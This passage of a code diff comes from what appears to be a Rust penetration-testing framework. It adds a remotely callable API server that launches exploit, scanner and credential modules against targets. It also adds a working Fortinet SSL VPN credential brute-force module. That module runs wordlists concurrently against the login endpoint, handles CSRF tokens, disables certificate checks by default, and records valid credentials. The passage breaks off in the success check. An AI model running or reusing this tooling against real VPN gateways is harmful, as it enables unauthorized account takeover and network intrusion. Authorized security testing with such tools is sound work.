.await?;
|
||||
return Ok(false); // Blocked
|
||||
} else {
|
||||
// Block period expired, reset
|
||||
tracker.failed_attempts = 0;
|
||||
tracker.blocked_until = None;
|
||||
self.log_message(&format!(
|
||||
"[RATE_LIMIT] Block period expired for IP {}, resetting counter",
|
||||
ip
|
||||
))
|
||||
.await?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(true) // Not blocked
|
||||
}
|
||||
|
||||
pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
|
||||
let mut failures_guard = self.auth_failures.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
|
||||
AuthFailureTracker {
|
||||
ip: ip.to_string(),
|
||||
failed_attempts: 0,
|
||||
first_failure: now,
|
||||
blocked_until: None,
|
||||
}
|
||||
});
|
||||
|
||||
// Set first_failure if this is the first attempt
|
||||
if tracker.failed_attempts == 0 {
|
||||
tracker.first_failure = now;
|
||||
}
|
||||
|
||||
tracker.failed_attempts += 1;
|
||||
|
||||
// Block after 3 failed attempts for 30 seconds
|
||||
if tracker.failed_attempts >= 3 {
|
||||
let block_until = now + chrono::Duration::seconds(30);
|
||||
tracker.blocked_until = Some(block_until);
|
||||
|
||||
let duration_since_first = (now - tracker.first_failure).num_seconds();
|
||||
self.log_message(&format!(
|
||||
"[RATE_LIMIT] IP {} blocked for 30 seconds after {} failed authentication attempts (first failure: {}, {} seconds since first)",
|
||||
tracker.ip, tracker.failed_attempts,
|
||||
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC"),
|
||||
duration_since_first
|
||||
))
|
||||
.await?;
|
||||
|
||||
println!(
|
||||
"🚫 [RATE_LIMIT] IP {} blocked for 30 seconds ({} failed attempts since {})",
|
||||
tracker.ip, tracker.failed_attempts,
|
||||
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
|
||||
);
|
||||
} else {
|
||||
self.log_message(&format!(
|
||||
"[RATE_LIMIT] IP {} failed authentication attempt {}/3 (first failure: {})",
|
||||
tracker.ip, tracker.failed_attempts,
|
||||
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
|
||||
))
|
||||
.await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn reset_auth_failures(&self, ip: &str) -> Result<()> {
|
||||
let mut failures_guard = self.auth_failures.write().await;
|
||||
|
||||
if let Some(tracker) = failures_guard.get_mut(ip) {
|
||||
if tracker.failed_attempts > 0 {
|
||||
self.log_message(&format!(
|
||||
"[RATE_LIMIT] Resetting auth failure counter for IP {} (was {} attempts)",
|
||||
ip, tracker.failed_attempts
|
||||
))
|
||||
.await?;
|
||||
}
|
||||
tracker.failed_attempts = 0;
|
||||
tracker.blocked_until = None;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
async fn auth_middleware(
|
||||
State(state): State<ApiState>,
|
||||
headers: HeaderMap,
|
||||
request: Request,
|
||||
next: Next,
|
||||
) -> Response {
|
||||
// Extract IP address first - try to get from headers first (for proxied requests)
|
||||
let client_ip = headers
|
||||
.get("x-forwarded-for")
|
||||
.or_else(|| headers.get("x-real-ip"))
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.map(|s| {
|
||||
s.split(',')
|
||||
.next()
|
||||
.unwrap_or("")
|
||||
.trim()
|
||||
.to_string()
|
||||
})
|
||||
.filter(|s| !s.is_empty());
|
||||
|
||||
// Fall back to direct connection IP from request extensions
|
||||
let client_ip = if let Some(ip) = client_ip {
|
||||
ip
|
||||
} else if let Some(addr) = request.extensions().get::<ConnectInfo<SocketAddr>>() {
|
||||
addr.ip().to_string()
|
||||
} else {
|
||||
"unknown".to_string()
|
||||
};
|
||||
|
||||
// Check rate limit before processing authentication
|
||||
if client_ip != "unknown" {
|
||||
if let Ok(allowed) = state.check_auth_rate_limit(&client_ip).await {
|
||||
if !allowed {
|
||||
let response = ApiResponse {
|
||||
success: false,
|
||||
message: "Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
|
||||
data: None,
|
||||
};
|
||||
return (StatusCode::TOO_MANY_REQUESTS, Json(response)).into_response();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Extract API key from Authorization header
|
||||
let auth_header = headers
|
||||
.get("Authorization")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.unwrap_or("");
|
||||
|
||||
let provided_key = if auth_header.starts_with("Bearer ") {
|
||||
&auth_header[7..]
|
||||
} else if auth_header.starts_with("ApiKey ") {
|
||||
&auth_header[7..]
|
||||
} else {
|
||||
auth_header
|
||||
};
|
||||
|
||||
// Basic key format validation
|
||||
if !validate_api_key_format(provided_key) {
|
||||
let response = ApiResponse {
|
||||
success: false,
|
||||
message: "Malformed API key".to_string(),
|
||||
data: None,
|
||||
};
|
||||
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
|
||||
}
|
||||
|
||||
// Verify API key
|
||||
let is_valid = state.verify_key(provided_key).await;
|
||||
|
||||
if !is_valid {
|
||||
// Record failed authentication attempt
|
||||
if client_ip != "unknown" {
|
||||
let _ = state.record_auth_failure(&client_ip).await;
|
||||
}
|
||||
|
||||
let response = ApiResponse {
|
||||
success: false,
|
||||
message: "Invalid API key".to_string(),
|
||||
data: None,
|
||||
};
|
||||
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
|
||||
}
|
||||
|
||||
// Successful authentication - reset failure counter for this IP
|
||||
if client_ip != "unknown" {
|
||||
let _ = state.reset_auth_failures(&client_ip).await;
|
||||
}
|
||||
|
||||
// Track IP for hardening (if enabled)
|
||||
let _ = state.track_ip(&client_ip).await;
|
||||
|
||||
next.run(request).await
|
||||
}
|
||||
|
||||
async fn health_check() -> Json<ApiResponse> {
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: "API is running".to_string(),
|
||||
data: None,
|
||||
})
|
||||
}
|
||||
|
||||
async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
|
||||
let modules = commands::discover_modules();
|
||||
let mut exploits = Vec::new();
|
||||
let mut scanners = Vec::new();
|
||||
let mut creds = Vec::new();
|
||||
|
||||
for module in modules {
|
||||
if module.starts_with("exploits/") {
|
||||
exploits.push(module);
|
||||
} else if module.starts_with("scanners/") {
|
||||
scanners.push(module);
|
||||
} else if module.starts_with("creds/") {
|
||||
creds.push(module);
|
||||
}
|
||||
}
|
||||
|
||||
let data = ListModulesResponse {
|
||||
exploits,
|
||||
scanners,
|
||||
creds,
|
||||
};
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: "Modules retrieved successfully".to_string(),
|
||||
data: Some(serde_json::to_value(data).unwrap()),
|
||||
})
|
||||
}
|
||||
|
||||
async fn run_module(
|
||||
State(state): State<ApiState>,
|
||||
Json(payload): Json<RunModuleRequest>,
|
||||
) -> Result<Json<ApiResponse>, StatusCode> {
|
||||
let module_name_raw = payload.module.as_str();
|
||||
let target_raw = payload.target.as_str();
|
||||
|
||||
// Validate inputs
|
||||
if !validate_module_name(module_name_raw) {
|
||||
return Err(StatusCode::BAD_REQUEST);
|
||||
}
|
||||
if !validate_target(target_raw) {
|
||||
return Err(StatusCode::BAD_REQUEST);
|
||||
}
|
||||
|
||||
// Sanitize for logging only
|
||||
let module_name = sanitize_for_log(module_name_raw);
|
||||
let target_name = sanitize_for_log(target_raw);
|
||||
|
||||
state
|
||||
.log_message(&format!(
|
||||
"API request: run module '{}' on target '{}'",
|
||||
module_name, target_name
|
||||
))
|
||||
.await
|
||||
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
|
||||
// Run the module in a separate OS thread since some modules aren't Send
|
||||
let module = payload.module.clone();
|
||||
let target = payload.target.clone();
|
||||
let state_clone = state.clone();
|
||||
|
||||
// Use std::thread to run in a separate OS thread with its own runtime
|
||||
std::thread::spawn(move || {
|
||||
// Create a new runtime for this thread since modules need async runtime
|
||||
let rt = tokio::runtime::Runtime::new().unwrap();
|
||||
rt.block_on(async {
|
||||
if let Err(e) = commands::run_module(&module, &target).await {
|
||||
let _ = state_clone
|
||||
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
|
||||
.await;
|
||||
} else {
|
||||
let _ = state_clone
|
||||
.log_message(&format!(
|
||||
"Successfully completed module '{}' on target '{}'",
|
||||
sanitize_for_log(&module), sanitize_for_log(&target)
|
||||
))
|
||||
.await;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
Ok(Json(ApiResponse {
|
||||
success: true,
|
||||
message: format!("Module '{}' execution started for target '{}'", module_name, target_name),
|
||||
data: None,
|
||||
}))
|
||||
}
|
||||
|
||||
async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
let key_guard = state.current_key.read().await;
|
||||
let tracker_guard = state.ip_tracker.read().await;
|
||||
|
||||
// Collect all tracked IPs with their details
|
||||
let tracked_ips: Vec<&IpTracker> = tracker_guard.values().collect();
|
||||
let ip_details: Vec<serde_json::Value> = tracked_ips
|
||||
.iter()
|
||||
.map(|tracker| {
|
||||
serde_json::json!({
|
||||
"ip": tracker.ip,
|
||||
"first_seen": tracker.first_seen.to_rfc3339(),
|
||||
"last_seen": tracker.last_seen.to_rfc3339(),
|
||||
"request_count": tracker.request_count,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let status_data = serde_json::json!({
|
||||
"harden_enabled": state.harden_enabled,
|
||||
"ip_limit": state.ip_limit,
|
||||
"unique_ips": tracker_guard.len(),
|
||||
"key_created_at": key_guard.created_at.to_rfc3339(),
|
||||
"log_file": state.log_file.to_string_lossy(),
|
||||
"tracked_ips": ip_details,
|
||||
});
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: "Status retrieved successfully".to_string(),
|
||||
data: Some(status_data),
|
||||
})
|
||||
}
|
||||
|
||||
async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiResponse>, StatusCode> {
|
||||
let new_key = state
|
||||
.rotate_key()
|
||||
.await
|
||||
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
|
||||
Ok(Json(ApiResponse {
|
||||
success: true,
|
||||
message: "API key rotated successfully".to_string(),
|
||||
data: Some(serde_json::json!({ "new_key": new_key })),
|
||||
}))
|
||||
}
|
||||
|
||||
async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
let tracker_guard = state.ip_tracker.read().await;
|
||||
let failures_guard = state.auth_failures.read().await;
|
||||
|
||||
// Use all fields from IpTracker
|
||||
let ips: Vec<serde_json::Value> = tracker_guard
|
||||
.values()
|
||||
.map(|tracker| {
|
||||
// Get auth failure info for this IP if it exists
|
||||
let auth_info = failures_guard.get(&tracker.ip).map(|fail| {
|
||||
serde_json::json!({
|
||||
"failed_attempts": fail.failed_attempts,
|
||||
"first_failure": fail.first_failure.to_rfc3339(),
|
||||
"blocked_until": fail.blocked_until.map(|dt| dt.to_rfc3339()),
|
||||
"is_blocked": fail.blocked_until.map(|dt| Utc::now() < dt).unwrap_or(false),
|
||||
})
|
||||
});
|
||||
|
||||
serde_json::json!({
|
||||
"ip": tracker.ip,
|
||||
"first_seen": tracker.first_seen.to_rfc3339(),
|
||||
"last_seen": tracker.last_seen.to_rfc3339(),
|
||||
"request_count": tracker.request_count,
|
||||
"duration_seconds": (tracker.last_seen - tracker.first_seen).num_seconds(),
|
||||
"auth_failures": auth_info,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: format!("Retrieved {} tracked IP addresses", ips.len()),
|
||||
data: Some(serde_json::json!({ "ips": ips })),
|
||||
})
|
||||
}
|
||||
|
||||
async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
let failures_guard = state.auth_failures.read().await;
|
||||
let now = Utc::now();
|
||||
|
||||
// Use all fields from AuthFailureTracker
|
||||
let failures: Vec<serde_json::Value> = failures_guard
|
||||
.values()
|
||||
.map(|tracker| {
|
||||
let is_blocked = tracker.blocked_until
|
||||
.map(|blocked_until| now < blocked_until)
|
||||
.unwrap_or(false);
|
||||
|
||||
let remaining_seconds = if is_blocked {
|
||||
tracker.blocked_until
|
||||
.map(|blocked_until| (blocked_until - now).num_seconds())
|
||||
.unwrap_or(0)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
serde_json::json!({
|
||||
"ip": tracker.ip,
|
||||
"failed_attempts": tracker.failed_attempts,
|
||||
"first_failure": tracker.first_failure.to_rfc3339(),
|
||||
"blocked_until": tracker.blocked_until.map(|dt| dt.to_rfc3339()),
|
||||
"is_blocked": is_blocked,
|
||||
"remaining_block_seconds": remaining_seconds,
|
||||
"duration_since_first": (now - tracker.first_failure).num_seconds(),
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: format!("Retrieved {} IPs with authentication failures", failures.len()),
|
||||
data: Some(serde_json::json!({ "auth_failures": failures })),
|
||||
})
|
||||
}
|
||||
|
||||
pub async fn start_api_server(
|
||||
bind_address: &str,
|
||||
api_key: String,
|
||||
harden: bool,
|
||||
ip_limit: u32,
|
||||
) -> Result<()> {
|
||||
let state = ApiState::new(api_key.clone(), harden, ip_limit);
|
||||
|
||||
// Log initial startup
|
||||
state
|
||||
.log_message(&format!(
|
||||
"Starting API server on {} with hardening: {}, IP limit: {}",
|
||||
bind_address, harden, ip_limit
|
||||
))
|
||||
.await?;
|
||||
|
||||
println!("🚀 Starting RustSploit API server...");
|
||||
println!("📍 Binding to: {}", bind_address);
|
||||
println!("🔑 Initial API key: {}", api_key);
|
||||
println!("🛡️ Hardening mode: {}", if harden { "ENABLED" } else { "DISABLED" });
|
||||
if harden {
|
||||
println!("📊 IP limit: {}", ip_limit);
|
||||
}
|
||||
println!("📝 Log file: {}", state.log_file.display());
|
||||
|
||||
// Create routes that require authentication
|
||||
let protected_routes = Router::new()
|
||||
.route("/api/modules", get(list_modules))
|
||||
.route("/api/run", post(run_module))
|
||||
.route("/api/status", get(get_status))
|
||||
.route("/api/rotate-key", post(rotate_key_endpoint))
|
||||
.route("/api/ips", get(get_tracked_ips))
|
||||
.route("/api/auth-failures", get(get_auth_failures))
|
||||
.layer(axum::middleware::from_fn_with_state(
|
||||
state.clone(),
|
||||
auth_middleware,
|
||||
));
|
||||
|
||||
let app = Router::new()
|
||||
.route("/health", get(health_check))
|
||||
.merge(protected_routes)
|
||||
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()).into_inner())
|
||||
.with_state(state);
|
||||
|
||||
let listener = tokio::net::TcpListener::bind(bind_address)
|
||||
.await
|
||||
.context(format!("Failed to bind to {}", bind_address))?;
|
||||
|
||||
println!("✅ API server is running! Use the API key in Authorization header.");
|
||||
println!("📖 Example: curl -H 'Authorization: Bearer {}' http://{}/api/modules", api_key, bind_address);
|
||||
|
||||
axum::serve(
|
||||
listener,
|
||||
app.into_make_service_with_connect_info::<SocketAddr>(),
|
||||
)
|
||||
.await
|
||||
.context("API server error")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
+21
-1
@@ -6,7 +6,7 @@ use clap::{ArgGroup, Parser};
|
||||
#[clap(group(
|
||||
ArgGroup::new("mode")
|
||||
.required(false)
|
||||
.args(&["command"])
|
||||
.args(&["command", "api"])
|
||||
))]
|
||||
pub struct Cli {
|
||||
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
|
||||
@@ -19,4 +19,24 @@ pub struct Cli {
|
||||
/// Module name to use
|
||||
#[arg(short, long)]
|
||||
pub module: Option<String>,
|
||||
|
||||
/// Launch API server mode
|
||||
#[arg(long)]
|
||||
pub api: bool,
|
||||
|
||||
/// API key for authentication (required when --api is used)
|
||||
#[arg(long, requires = "api")]
|
||||
pub api_key: Option<String>,
|
||||
|
||||
/// Enable hardening mode (auto-rotate API key on suspicious activity)
|
||||
#[arg(long, requires = "api")]
|
||||
pub harden: bool,
|
||||
|
||||
/// Network interface to bind API server to (default: 0.0.0.0)
|
||||
#[arg(long, requires = "api", default_value = "0.0.0.0")]
|
||||
pub interface: Option<String>,
|
||||
|
||||
/// IP limit for hardening mode (default: 10 unique IPs)
|
||||
#[arg(long, requires = "harden", default_value = "10")]
|
||||
pub ip_limit: Option<u32>,
|
||||
}
|
||||
|
||||
+24
-1
@@ -1,4 +1,4 @@
|
||||
use anyhow::Result;
|
||||
use anyhow::{Context, Result};
|
||||
use clap::Parser;
|
||||
|
||||
mod cli;
|
||||
@@ -6,12 +6,35 @@ mod shell;
|
||||
mod commands;
|
||||
mod modules;
|
||||
mod utils;
|
||||
mod api;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
let cli_args = cli::Cli::parse();
|
||||
|
||||
// Check if API mode is requested
|
||||
if cli_args.api {
|
||||
let api_key = cli_args
|
||||
.api_key
|
||||
.context("--api-key is required when using --api mode")?;
|
||||
|
||||
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
|
||||
|
||||
// If interface already contains a port (has ':'), use it as-is, otherwise add default port
|
||||
let bind_address = if interface.contains(':') {
|
||||
interface
|
||||
} else {
|
||||
format!("{}:8080", interface)
|
||||
};
|
||||
|
||||
let harden = cli_args.harden;
|
||||
let ip_limit = cli_args.ip_limit.unwrap_or(10);
|
||||
|
||||
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
|
||||
@@ -0,0 +1,518 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use reqwest::{ClientBuilder, redirect::Policy};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
use regex::Regex;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Fortinet SSL VPN Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("Fortinet VPN Port", "443")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file_path = loop {
|
||||
let input = prompt_required("Username wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let passwords_file_path = loop {
|
||||
let input = prompt_required("Password wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "10")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "fortinet_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
|
||||
let trusted_cert = prompt_optional("Trusted certificate SHA256 (optional, for certificate pinning)")?;
|
||||
let realm = prompt_optional("Authentication realm (optional)")?;
|
||||
|
||||
let base_url = build_fortinet_url(target, port)?;
|
||||
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", base_url);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
// Generate all credential pairs based on mode
|
||||
let credential_pairs = if combo_mode {
|
||||
let mut pairs = Vec::new();
|
||||
for user in &users {
|
||||
for pass in &passwords {
|
||||
pairs.push((user.clone(), pass.clone()));
|
||||
}
|
||||
}
|
||||
pairs
|
||||
} else {
|
||||
// Cycle through users for each password
|
||||
passwords.iter().enumerate()
|
||||
.map(|(i, pass)| {
|
||||
let user = users[i % users.len()].clone();
|
||||
(user, pass.clone())
|
||||
})
|
||||
.collect()
|
||||
};
|
||||
|
||||
println!("[*] Testing {} credential combinations", credential_pairs.len());
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for (user, pass) in credential_pairs {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let base_url_clone = base_url.clone();
|
||||
let realm_clone = realm.clone();
|
||||
let trusted_cert_clone = trusted_cert.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
let _permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_fortinet_login(
|
||||
&base_url_clone,
|
||||
&user,
|
||||
&pass,
|
||||
&realm_clone,
|
||||
&trusted_cert_clone,
|
||||
timeout_duration
|
||||
).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", base_url_clone, user, pass);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((base_url_clone.clone(), user.clone(), pass.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", base_url_clone, user, pass));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", base_url_clone, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait for all tasks to complete
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials found:");
|
||||
for (url, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", url, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
for (url, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", url, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file: {}", filename.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_fortinet_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
realm: &Option<String>,
|
||||
trusted_cert: &Option<String>,
|
||||
timeout_duration: Duration
|
||||
) -> Result<bool> {
|
||||
let mut client_builder = ClientBuilder::new()
|
||||
.cookie_store(true)
|
||||
.redirect(Policy::none())
|
||||
.timeout(timeout_duration);
|
||||
|
||||
if trusted_cert.is_some() {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(false)
|
||||
.danger_accept_invalid_hostnames(false);
|
||||
} else {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true);
|
||||
}
|
||||
|
||||
let client = client_builder
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Get login page
|
||||
let login_page_url = format!("{}/remote/login", base_url);
|
||||
|
||||
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout getting login page")),
|
||||
};
|
||||
|
||||
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login page")),
|
||||
};
|
||||
|
||||
let csrf_token = extract_csrf_token(&login_page_body);
|
||||
|
||||
// Prepare login form data
|
||||
let mut form_data = std::collections::HashMap::new();
|
||||
form_data.insert("username", username.to_string());
|
||||
form_data.insert("password", password.to_string());
|
||||
form_data.insert("ajax", "1".to_string());
|
||||
|
||||
if let Some(ref r) = realm {
|
||||
if !r.is_empty() {
|
||||
form_data.insert("realm", r.clone());
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref token) = csrf_token {
|
||||
form_data.insert("magic", token.clone());
|
||||
}
|
||||
|
||||
// Send login request
|
||||
let login_url = format!("{}/remote/logincheck", base_url);
|
||||
|
||||
let login_response = match timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.post(&login_url)
|
||||
.form(&form_data)
|
||||
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
|
||||
.header("Referer", &login_page_url)
|
||||
.send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout during login request")),
|
||||
};
|
||||
|
||||
let status = login_response.status();
|
||||
|
||||
let location_header = login_response.headers().get("Location")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
let cookies: Vec<String> = login_response.cookies()
|
||||
.map(|c| c.name().to_string())
|
||||
.collect();
|
||||
|
||||
let has_auth_cookie = cookies.iter().any(|name| {
|
||||
let lower = name.to_lowercase();
|
||||
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
|
||||
});
|
||||
|
||||
let response_body = match timeout(timeout_duration, login_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login response")),
|
||||
};
|
||||
|
||||
// Check for success indicators
